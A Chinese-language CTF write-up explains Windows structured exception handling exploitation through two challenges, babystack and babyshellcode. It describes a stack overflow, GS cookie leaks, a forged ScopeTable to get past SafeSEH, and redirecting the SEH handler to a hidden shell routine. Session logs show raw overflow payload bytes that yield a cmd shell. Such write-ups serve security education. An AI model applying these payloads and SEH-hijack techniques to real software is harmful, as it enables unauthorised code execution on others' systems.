1. 程式人生 > >通過兩道題目理解windows的異常處理機制

通過兩道題目理解windows的異常處理機制

關於windows異常處理機制最經典的文章應該是A Crash Course on the Depths of Win32™ Structured Exception Handling。強烈建議沒有讀過的讀者仔細閱讀這篇文章,這裡就不囉嗦了。
題目下載:https://github.com/k0keoyo/ctf_pwn

babystack

babystack這道題看上去攻擊面還是很明顯的,首先是一處棧溢位。
這裡寫圖片描述
GetInput是一個拷貝函式,拷貝的目標是v9所在的地址,這裡已經超過v9開闢的棧空間大小,會造成棧溢位。
這裡寫圖片描述
在函式入口,會直接列印目標棧地址和主函式地址,因此也不怕棧地址改變和ASLR了。
這裡寫圖片描述


在進入函式之後,如果輸入yes,v7為0,不會進入下面的if語句而是進入else語句,而這個else語句可以洩露記憶體地址中存放的內容;如果輸入no則退出;如果輸入非yes非no,則會引發棧溢位。輸入點有一個for迴圈,只有10次輸入的機會,因此如果我們要洩露任意地址記憶體的話,必須要洩露對利用有影響的記憶體值。
這裡寫圖片描述
而GetTargetAddress中返回值會通過atoi將想轉換的內容轉換成一個int型數字。所以這裡如果想得知地址的值的話,需要將目標地址的十六進位制轉換成十進位制輸入。
這裡寫圖片描述
同時程式中還隱藏著直接獲得互動shell的system("cmd"),在f5之後沒有顯示,因為在正常情況下jnz是一定會跳轉的,所以這裡應該是優化掉了。因此我們也不需要考慮DEP和shellcode了,如果能夠控制EIP,通過之前我們洩露出的函式地址,算出偏移,直接跳轉到system("cmd")
,就可以完成攻擊了。
這裡寫圖片描述
綜上我們把IDA F5之後的程式碼整理如下。
這裡寫圖片描述
這裡有個SEH,首先會想到用system("cmd")的地址通過緩衝區溢位覆蓋SEH的Handler,然後通過在GetTargetAddress輸入一個大數,導致其訪問無效記憶體引發異常,進而執行Handler。但是這裡是行不通的,因為程式開啟了SafeSEH,當我們用system("cmd")的地址覆蓋Handler因為地址是在主程式映像範圍,主程式又開了SafeSEH,會有SafeSEH Table,而system("cmd")的地址肯定不在表中,必定是要失敗的。2008年blackhat上Alex披露了有關SafeSEH的細節,如下所示。
這裡寫圖片描述

我們來看看函式開頭構造的SEH。
這裡寫圖片描述
VC的SEH佈局大致如下。
這裡寫圖片描述
這裡Exceptionhandler就是__except_handler4_except_handler4只是呼叫了except_handler4_common
這裡寫圖片描述
_except_handler4_common稍稍複雜了一點,不貼程式碼了,借用一張圖來說明。
這裡寫圖片描述
可以看到裡面有兩個地方,一個地方呼叫了ScopeTable裡的FilterFunc函式,一個地方呼叫了HandlerFunc函式。ScopeTable是被放在SEH Handler後面的,這裡我們可以偽造一個ScopeTable,把裡面的FilterFunc或者HandlerFunc改為system("cmd")的地址,然後把這個偽造的ScopeTable通過溢位覆蓋掉原ScopeTable。這裡還要注意_except_handler4_common中的ValidateLocalCookies會做驗證,所以也要把GS leak出來。
這裡寫圖片描述
因此最終我們構造的結構如下。
這裡寫圖片描述
這裡寫圖片描述
這裡寫圖片描述

C:\Python27\python.exe C:/Users/i-houjingyi/Downloads/babystack/test.py
ouch! Do not kill me , I will tell you everything
stack address = 0x48f8e8
main address = 0x2410b0
Do you want to know more?

>> yes
Where do you want to know

>> 2375684
Address 0x244004 value is 0x55d9053a(leak security cookie)
Do you want to know more?

>> yes
Where do you want to know

>> 4782440
Address 0x48f968 value is 0x5591fcbe(leak GS)
Do you want to know more?

>> 4782452

>> yes
Do you want to know more?

>> yes
Where do you want to know

>> 4782452
Address 0x48f974 value is 0x48f9bc(leak SHE next)
Do you want to know more?

>> noo

>> b"aaaa\xe4\xff\xff\xff\x00\x00\x00\x00\x20\xff\xff\xff\x00\x00\x00\x00\xfe\xff\xff\xff\x8d\x13\x24\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xbe\xfc\x91\x55aaaaaaaa\xbc\xf9\x48\x00\x60\x14\x24\x00\xd6\xfd\x91\x55"
Do you want to know more?

>> yes
Where do you want to know

>> 80000000

>> dir
Microsoft Windows [版本 6.1.7601]
版權所有 (c) 2009 Microsoft Corporation。保留所有權利。

C:\Users\i-houjingyi\Downloads\babystack>dir
 驅動器 C 中的卷沒有標籤。
 卷的序列號是 7AF2-3A02

 C:\Users\i-houjingyi\Downloads\babystack 的目錄

2017/10/09  14:45    <DIR>          .
2017/10/09  14:45    <DIR>          ..
2017/10/09  14:45                44 233.py
2017/07/24  14:16            10,752 babystack.exe
2017/10/09  10:12           172,032 babystack.id0
2017/10/09  10:12            49,152 babystack.id1
2017/10/09  10:12             1,507 babystack.id2
2017/09/30  18:10           241,569 babystack.idb
2017/10/09  10:12            16,384 babystack.nam
2017/10/09  10:12             2,197 babystack.til
2017/10/09  14:36                 0 fout.txt
2017/10/09  14:04               880 test.py
2017/08/22  10:56           918,304 ucrtbase.dll
2017/02/08  14:09            83,792 vcruntime140.dll
2017/10/09  10:17         1,409,024 vcruntime140.id0
2017/10/09  10:17           262,144 vcruntime140.id1
2017/10/09  10:17             1,144 vcruntime140.id2
2017/09/30  18:10         1,737,551 vcruntime140.idb
2017/10/09  10:17            16,384 vcruntime140.nam
2017/10/09  10:17            48,558 vcruntime140.til
              18 個檔案      4,971,418 位元組
               2 個目錄 13,687,795,712 可用位元組

C:\Users\i-houjingyi\Downloads\babystack>
>>

程式碼:
這裡寫圖片描述

babyshellcode

在題目主函式中,首先在scmgr.dll中會初始化存放shellcode的堆,呼叫的是VirtualAlloc函式,並且會列印堆地址。這裡VirtualAlloc中有一個引數是flprotect,值是0x40,表示擁有RWE許可權。
這裡寫圖片描述
同時,在scmgr.dll中還存在一處shell。
這裡寫圖片描述
在babyshellcode的main函式中提供了Create,List,Delete,Run,Set,Exit等功能。
這裡寫圖片描述
Create函式中會將shellcode拷貝到scmgr.dll初始化的堆空間裡。
這裡寫圖片描述
Run函式中byte_405448是一個全域性變數,它在決定了存放shellcode堆指標指向的shellcode前4位元組是否改成0xffffffff,這裡byte_405448的值是1,因此頭部會被修改,而我們也必須進入這裡,只有這裡才能造成溢位。然後呼叫VirtualAlloc出來的堆地址,進入堆地址後因為指令無效觸發異常。
這裡寫圖片描述
Set函式中有一系列複雜的加密,經過分析加密的就是init_scmgr的地址,但是加密演算法是不可逆的。
這裡寫圖片描述
另外scmgr.dll是一個未開啟safeseh的模組,可以直接通過od的OllySSEH功能看到SafeSEH的開啟狀態。
這裡寫圖片描述
在xp下利用堆指標來bypass safeseh只需要覆蓋SEH Handler為heap address+4,然後把shellcode跳過開頭4位元組編碼,頭4位元組放任意字串(反正會被編碼成0xffffffff),然後後面放shellcode的內容,應該就可以達到利用了。這也就是我們前面提到的RtlIsValidHandler函式中的最後一種情況,堆地址在當前程序載入記憶體映像空間之外且可執行。
這裡寫圖片描述
Win7及以上版本多了一個Check,內容是MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE,它決定了是否允許在載入模組記憶體空間外執行。
這裡寫圖片描述
所以這種方法行不通,還是需要靠scmgr.dll。既然加密scmgr.dll基址的演算法不可逆,那就只有正向爆破了。爆破出基址之後令SEH Handler指向getshell_test就直接能獲得shell。
這裡寫圖片描述
這裡寫圖片描述

C:\Python27\python.exe C:/Users/i-houjingyi/Downloads/babyshellcode/test.py
Global memory alloc at 000F0000
Hey, Welcome to shellcode test system!
leave your name

>> hjy
hello hjy
1. Create shellcode
2. List shellcodes
3. Delete shellcode
4. Run shellcode
5. Set ShellcodeGuard
0. Exit
Option:

>> 5
1. Disable ShellcodeGuard
2. Enable ShellcodeGuard
Option:

>> 1
Your challenge code is 3473931e-4c885c33-72d30201-5d80c1f3-2280ec60-e6b7e4e7
challenge response:

0x651f1090
>> 1
respose wrong!
1. Create shellcode
2. List shellcodes
3. Delete shellcode
4. Run shellcode
5. Set ShellcodeGuard
0. Exit
Option:

>> 1
shellcode size:

>> 120
shellcode name:

>> hjy
shellcode description:

>> hjy
shellcode:

>> b"11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111\x00\x11\x1f\x65"
Create shell code done, shellcode idx=0
1. Create shellcode
2. List shellcodes
3. Delete shellcode
4. Run shellcode
5. Set ShellcodeGuard
0. Exit
Option:

>> 4
shellcode index:

>> 0

>> dir
Microsoft Windows [版本 6.1.7601]
版權所有 (c) 2009 Microsoft Corporation。保留所有權利。

C:\Users\i-houjingyi\Downloads\babyshellcode>dir
 驅動器 C 中的卷沒有標籤。
 卷的序列號是 7AF2-3A02

 C:\Users\i-houjingyi\Downloads\babyshellcode 的目錄

2017/10/10  09:59    <DIR>          .
2017/10/10  09:59    <DIR>          ..
2017/10/09  18:15             2,407 1.py
2017/10/09  14:45                44 233.py
2017/07/24  14:16            13,824 babyshellcode.exe
2017/10/10  09:56           262,144 babyshellcode.id0
2017/10/10  09:56            57,344 babyshellcode.id1
2017/10/10  09:56             1,129 babyshellcode.id2
2017/10/09  19:35           340,739 babyshellcode.idb
2017/10/10  09:56            16,384 babyshellcode.nam
2017/10/10  09:56             3,441 babyshellcode.til
2017/10/10  11:14                 0 fout.txt
2017/07/19  17:24             8,704 scmgr.dll
2017/10/10  09:59           155,648 scmgr.id0
2017/10/10  09:59            40,960 scmgr.id1
2017/10/10  09:59             1,213 scmgr.id2
2017/10/09  19:35           217,193 scmgr.idb
2017/10/10  09:59            16,384 scmgr.nam
2017/10/10  09:59             2,691 scmgr.til
2017/10/09  19:34             2,558 test.py
2017/08/22  10:45           918,304 ucrtbase.dll
2017/02/08  14:09            83,792 vcruntime140.dll
              20 個檔案      2,144,903 位元組
               2 個目錄 13,387,833,344 可用位元組

C:\Users\i-houjingyi\Downloads\babyshellcode>
>>